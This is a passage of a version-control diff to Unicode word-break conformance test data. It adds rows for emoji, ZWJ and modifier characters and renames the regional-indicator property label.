+÷ 1F466 × 0308 ÷ 002E ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 1F466 ÷ 0030 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0030 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 1F466 ÷ 005F ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 005F ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 1F466 ÷ 1F1E6 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 1F466 ÷ 05D0 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 05D0 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 1F466 ÷ 0022 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0022 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 1F466 ÷ 0027 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0027 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F466 ÷ 261D ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 261D ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 1F466 × 1F3FB ÷ # ÷ [0.2] BOY (EBG) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 1F466 × 0308 × 1F3FB ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 1F466 ÷ 2640 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 2640 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F466 ÷ 1F466 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 1F466 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 1F466 × 00AD ÷ # ÷ [0.2] BOY (EBG) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 1F466 × 0308 × 00AD ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 1F466 × 0300 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 1F466 × 0308 × 0300 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 1F466 × 200D ÷ # ÷ [0.2] BOY (EBG) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 1F466 × 0308 × 200D ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 1F466 ÷ 0061 × 2060 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F466 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F466 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F466 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F466 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F466 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F466 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F466 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F466 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 00AD ÷ 0001 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
÷ 00AD × 0308 ÷ 0001 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
÷ 00AD ÷ 000D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
@@ -822,18 +1222,28 @@
÷ 00AD × 0308 ÷ 0030 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 00AD ÷ 005F ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 00AD × 0308 ÷ 005F ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 00AD ÷ 1F1E6 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 00AD × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 00AD ÷ 1F1E6 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 00AD × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 00AD ÷ 05D0 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 00AD × 0308 ÷ 05D0 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 00AD ÷ 0022 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 00AD × 0308 ÷ 0022 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 00AD ÷ 0027 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 00AD × 0308 ÷ 0027 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 00AD ÷ 261D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 00AD × 0308 ÷ 261D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 00AD ÷ 1F3FB ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 00AD × 0308 ÷ 1F3FB ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 00AD ÷ 2640 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 00AD × 0308 ÷ 2640 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 00AD ÷ 1F466 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 00AD × 0308 ÷ 1F466 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 00AD × 00AD ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 00AD × 0308 × 00AD ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 00AD × 0300 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 00AD × 0308 × 0300 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 00AD × 200D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 00AD × 0308 × 200D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 00AD ÷ 0061 × 2060 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 00AD × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 00AD ÷ 0061 ÷ 003A ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -874,18 +1284,28 @@
÷ 0300 × 0308 ÷ 0030 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0300 ÷ 005F ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0300 × 0308 ÷ 005F ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0300 ÷ 1F1E6 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0300 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0300 ÷ 1F1E6 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0300 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0300 ÷ 05D0 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0300 × 0308 ÷ 05D0 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0300 ÷ 0022 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0300 × 0308 ÷ 0022 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0300 ÷ 0027 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0300 × 0308 ÷ 0027 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0300 ÷ 261D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0300 × 0308 ÷ 261D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0300 ÷ 1F3FB ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0300 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0300 ÷ 2640 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0300 × 0308 ÷ 2640 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0300 ÷ 1F466 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0300 × 0308 ÷ 1F466 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0300 × 00AD ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0300 × 0308 × 00AD ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0300 × 0300 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0300 × 0308 × 0300 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0300 × 200D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0300 × 0308 × 200D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0300 ÷ 0061 × 2060 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0300 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0300 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -904,6 +1324,68 @@
÷ 0300 × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
÷ 0300 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0300 × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 200D ÷ 0001 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 200D × 0308 ÷ 0001 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 200D ÷ 000D ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 200D × 0308 ÷ 000D ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 200D ÷ 000A ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 200D × 0308 ÷ 000A ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 200D ÷ 000B ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 200D × 0308 ÷ 000B ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 200D ÷ 3031 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 200D × 0308 ÷ 3031 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 200D ÷ 0041 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 200D × 0308 ÷ 0041 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 200D ÷ 003A ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 200D × 0308 ÷ 003A ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 200D ÷ 002C ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 200D × 0308 ÷ 002C ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 200D ÷ 002E ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 200D × 0308 ÷ 002E ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 200D ÷ 0030 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 200D × 0308 ÷ 0030 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 200D ÷ 005F ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 200D × 0308 ÷ 005F ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 200D ÷ 1F1E6 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 200D × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 200D ÷ 05D0 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 200D × 0308 ÷ 05D0 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 200D ÷ 0022 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 200D × 0308 ÷ 0022 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 200D ÷ 0027 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
